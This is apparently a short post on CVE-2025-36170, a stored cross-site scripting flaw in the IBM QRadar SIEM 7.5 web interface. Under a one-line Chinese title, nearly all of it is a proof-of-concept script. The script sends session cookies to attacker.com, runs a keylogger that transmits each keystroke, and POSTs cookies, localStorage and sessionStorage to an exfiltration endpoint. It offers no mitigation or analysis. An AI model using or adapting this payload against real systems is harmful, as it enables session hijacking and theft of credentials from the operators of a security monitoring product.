CVE-2025-36170: IBM QRadar SIEM存储型跨站脚本漏洞

<!-- CVE-2025-36170 Stored XSS PoC --> <!-- Target: IBM QRadar SIEM 7.5 Web UI --> <!-- This PoC demonstrates the stored XSS vulnerability --> <script> // Malicious JavaScript payload for credential theft // This script will be stored and executed when other users view the affected page // Steal session cookies document.write('<img src="https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '"/>'); // Alternative payload: Keylogger document.addEventListener('keypress', function(e) { var key = e.key; new Image().src = 'https://attacker.com/log?key=' + key; }); // Session hijacking via DOM access var sessionData = { cookies: document.cookie, localStorage: localStorage, sessionStorage: sessionStorage, userAgent: navigator.userAgent }; fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(sessionData) }); </script>